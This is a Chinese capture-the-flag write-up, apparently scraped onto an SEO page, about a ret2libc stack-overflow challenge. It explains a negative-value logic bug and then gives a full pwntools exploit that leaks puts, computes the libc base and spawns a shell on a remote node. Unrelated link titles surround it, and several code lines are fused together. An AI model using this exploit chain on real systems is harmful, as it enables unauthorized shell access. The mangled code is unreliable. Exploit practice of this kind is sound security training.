当前位置: 首页 > wzjs >正文

一般做网站上传的图片大小网站制作代码

一般做网站上传的图片大小,网站制作代码,iis网站属性在哪,创意网站制作先看主函数,有很多选项 shop 函数里存在栈溢出 只需要 money > 100000 没有 /bin/sh 字符串 也没有 system 函数 那么还是考虑打 ret2libc 虽然初始 money 只有 1000 $ 但是 see_it 函数存在逻辑漏洞 没有检查 what_can_I_say > count 所以即使 what_can_…

先看主函数,有很多选项

shop 函数里存在栈溢出

只需要 money > 100000

 

没有 /bin/sh 字符串

也没有 system 函数

那么还是考虑打 ret2libc

虽然初始 money 只有 1000 $

但是 see_it 函数存在逻辑漏洞

没有检查 what_can_I_say >= count

所以即使 what_can_I_say 是负数,也可以换钱

如下图: 

我们只需要换来大于 100000 $ 即可进入 shop 函数打 ret2libc 了

很简单,还是用 puts 函数来泄露真实地址

稍微注意下,打本地和打远程可能有点不太一样

建议是直接用它给的 libc 文件来打远程

完整 exp:

# @author:My6n
# @time:20250523
from LibcSearcher import *
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node1.anna.nssctf.cn',28243)
io.sendline('7')
io.sendline('1000\n')
io.sendline('6')
io.sendline('5')
#print(io.recv())
elf = ELF('./pwn')
offset = 72
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
shop_addr = 0x400B1E
pop_rdi = 0x400d73
ret_addr = 0x400579payload1 = cyclic(offset) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(shop_addr)
io.sendlineafter('You can name it!!!',payload1)
io.recvline()
#print(io.recv())
#pause()
puts_addr = u64(io.recv()[:6].ljust(8,b'\x00'))libc = ELF('./libc.so.6') 
#libc = LibcSearcher('puts',puts_addr)
#libc_base = puts_addr - libc.dump('puts')
#system_addr = libc_base + libc.dump('system')
#bin_sh_addr = libc_base + libc.dump('str_bin_sh')libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))payload2 = cyclic(offset) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()

拿到 flag:NSSCTF{2f119064-abea-4165-baaa-c058ba639bbd}

http://www.dtcms.com/wzjs/343121.html

相关文章:

  • 老山网站建设郑州企业网站seo
  • 石家庄小学网站建设google推广教程
  • 怎么自己开发软件宜昌网站seo
  • 网站展现形式网站建设怎么弄
  • 网站设计案例分析网站seo案例
  • app开发公司的困难seo关键词怎么选择
  • 外贸营销型网站建设的技巧好的竞价托管公司
  • 网站做淘宝客收入咋样怎么去推广一个app
  • 猪八戒兼职网站怎么做任务赚钱成都关键词排名系统
  • 用java可以做网站吗网络营销的50种方法
  • 网页草图绘制债务优化是什么意思
  • iis更改默认网站天猫代运营
  • 建站系统模板建站优化公司
  • gd域名官网做百度seo
  • 洛阳市网站建设网站推广优化服务
  • 通信科技网站设计自媒体135免费版下载
  • wordpress 博客信息seo网站推广案例
  • 亚马逊店铺出售网站情感营销案例
  • 建网站软件精准广告投放
  • php语言做购物网站网络推广代理
  • 自己有主机怎么做论坛网站seo全网营销
  • 南庄网站开发百度seo关键词点击软件
  • 如何建wap网站深圳优化排名公司
  • 做外贸门户网站谷歌搜索引擎入口2023
  • 网站介绍ppt怎么做百度账号
  • 凡科网建站怎么样太原关键词排名推广
  • 同城型网站开发营销 推广
  • 石家庄网站制作武汉腾讯广告投放平台官网
  • 查看别人wordpress主题厦门网站优化
  • 手机做网站对比路由器做网站有哪些推广平台和渠道